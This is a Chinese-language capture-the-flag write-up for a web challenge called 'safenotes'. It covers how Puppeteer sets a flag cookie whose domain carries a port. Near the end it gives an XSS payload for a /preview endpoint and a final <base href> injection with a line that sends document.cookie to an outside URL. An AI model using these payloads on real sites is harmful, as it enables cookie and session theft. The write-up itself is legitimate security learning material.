N1 junior 2025 safenotes
这道题说实话挺简单的,不是什么猎奇抽象xssleak,可能是国内的比赛xss确实考的少吧,我比较喜欢打国际赛。
一开始ai跟我说这里有语法错误,然后我一顿看Puppeteer的源代码发现其实没错误。
// 尝试为浏览器设置cookie(注意:setCookie方法应在page对象上调用,这里可能有误)await browser.setCookie({name: 'flag',value: FLAG,domain: HOST,path: '/',httpOnly: false});
映射容器内node_modules的代码查看源代码的setCookie
- 在
bot.js
文件中,第19-26行的代码尝试在浏览器实例上调用setCookie
方法:
// 尝试为浏览器设置cookie(注意:setCookie方法应在page对象上调用,这里可能有误)
await browser.setCookie({name: 'flag',value: FLAG,domain: HOST,path: '/',httpOnly: false
});
- 从puppeteer的源代码中可以看到,
Browser
类确实有一个setCookie
方法,但它实际上是一个代理方法,会将调用转发到默认的浏览器上下文:
setCookie(...cookies) {return await this.defaultBrowserContext().setCookie(...cookies);
}
domain应该是完整的域名,而不是带端口的字符串,当携带端口时会发生什么?
Chromium 这一路实际会“吃掉端口”,因此看起来“确实被设置了”。
- Puppeteer 这层不会校验域名是否含端口,而是原样转发到 CDP 的
Storage.setCookies
(无返回 success/错误码,不会抛错):
async setCookie(...cookies) {return await this.defaultBrowserContext().setCookie(...cookies);
}
override async setCookie(...cookies: CookieData[]): Promise<void> {return await this.#connection.send('Storage.setCookies', {browserContextId: this.#id,cookies: cookies.map(cookie => ({...cookie,partitionKey: convertCookiesPartitionKeyFromPuppeteerToCdp(cookie.partitionKey),})),});
}
export interface SetCookiesRequest {cookies: Network.CookieParam[];browserContextId?: Browser.BrowserContextID;
}
- 真正的“端口处理”发生在 Chromium 内核(CDP 后端)里:当
domain
带端口(如localhost:3000
)时,会被规范化为不带端口的主机名(例如localhost
),或作为“host-only”存储。由于Storage.setCookies
无成功返回体,这个规范化是静默完成的,所以你看到“被设置”且无报错是预期表现。
如何快速验证规范化结果
- 设完后读取上下文 cookies,看实际存储的
domain
:
const list = await browser.defaultBrowserContext().cookies();
console.log(list.find(c => c.name === 'flag'));
// 你会看到 domain 实际是 'localhost'(不含端口)
我当时想的是用ChromeDriver API,然后发现Puppeteer根本没api
然后就算主页面的地方,有个
/preview
可以绕
/preview?index=0&content=\x3cimg src=x onerror=alert(1)\x3e
(function(){const el = document.getElementById('note-0');if (!el) return;const text = '\x3cimg src=x onerror=alert(1)\x3e';if (text.length > 50) {el.innerHTML = text.slice(0,50) + '...';} else {el.innerHTML = text;}})();
然后最幽默的一点是,我当时第一时间想的就是baseurl,然后deepseek瞎扯跟我说在div里影响不到外面,直接导致我完全偏离正确轨道疯狂尝试命名空间混淆突破div,研究几个小时没研究出来
到了晚上这题竟然还没解,私聊出题人跟我说比较接近了,然后我就试了一下baseurl,发现竟然能行。。。
然后就没难度了
<base href="https://url/">
location.href = 'https://url/?c=' + document.cookie;
真不能信ai…